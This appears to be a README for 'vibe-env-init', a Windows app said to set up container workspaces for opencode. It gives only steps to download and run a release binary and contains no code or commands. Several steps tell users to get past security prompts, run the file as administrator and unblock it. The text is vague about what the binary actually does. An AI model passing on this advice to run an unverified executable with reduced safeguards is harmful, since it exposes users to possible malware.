vibe-env-init helps you set up a container-based workspace with one command. It is made for people who want a ready-to-use environment without manual setup steps.

Use it to:

• create a new local workspace
• prepare a containerized app environment
• skip long setup steps
• get started with opencode faster

Go to the Releases page to download and install the app.

On that page, look for the latest release and choose the file made for Windows. If you see a zip file, download it and extract it before running the app.

Use a Windows PC with:

• Windows 10 or Windows 11
• internet access for the first download
• enough free space for the app and its files
• a recent version of Docker Desktop if your setup uses containers

If Windows shows a security prompt, choose the option that lets you keep going after you check the file source.

1. Open the Releases page.
2. Find the latest release at the top.
3. Download the Windows file or zip package.
4. If the download is zipped, right-click it and choose Extract All.
5. Open the extracted folder.
6. Double-click the app file or launcher file.
7. If Windows asks for permission, select Run or Yes.
8. Follow the on-screen setup steps.

The first time you open vibe-env-init, it may create folders and prepare files for your workspace. This can take a short time.

You may see steps such as:

• picking a project folder
• setting a name for the environment
• creating container config files
• preparing the first run setup

Keep the app open until it finishes.

After setup, use vibe-env-init when you want to start a new container environment.

Typical flow:

1. Open the app.
2. Choose the project folder.
3. Start the scaffold process.
4. Wait while it creates the needed files.
5. Open the new workspace in your editor or container tool.
6. Start working in the prepared environment.

If you plan to set up more than one project, run the app once for each project folder.

vibe-env-init is built to handle the setup work for a container-based project. It can create files and folders that help your environment start in a clean way.

You can expect it to set up items like:

• container config files
• workspace folders
• starter project files
• setup scripts
• environment files

This keeps the first setup simple and repeatable.

Use vibe-env-init if you want to:

• start a new opencode environment
• set up a container workspace on Windows
• avoid manual file setup
• keep project setup the same each time
• prepare a clean local dev folder

• Check that the file finished downloading.
• If the file is zipped, extract it first.
• Right-click the app and choose Run as administrator.
• Try the latest release from the Releases page.

• Right-click the file and open Properties.
• Check for an Unblock option.
• Apply the change, then try again.
• Download the file again if the copy looks damaged.

• Make sure Docker Desktop is installed and running.
• Check that your system has enough disk space.
• Close other heavy apps and try again.
• Re-run the setup from the same project folder.

• Open the extracted folder again.
• Make sure you did not move files after download.
• Download the release again if the folder looks incomplete.

A typical setup may include:

• a main app file
• a config folder
• environment files
• container files
• project starter files

Keep these files together in one folder. This helps the app find what it needs.

Only download from the official Releases page. After download, keep the file in a folder you can find later.

If you share the app with someone else, send the release link instead of sending changed files.

Yes. The goal is to reduce setup work and guide you through a simple flow.

No, but the app works with them. The setup process handles the hard parts for you.

Yes. You can run it for each new project folder.

Use the Releases page to get the latest version.

When you need the newest version, return to the Releases page and download the latest Windows release

1. Download the release.
2. Extract the files if needed.
3. Open the app.
4. Pick your project folder.
5. Let it build the environment files.
6. Open the new workspace and start working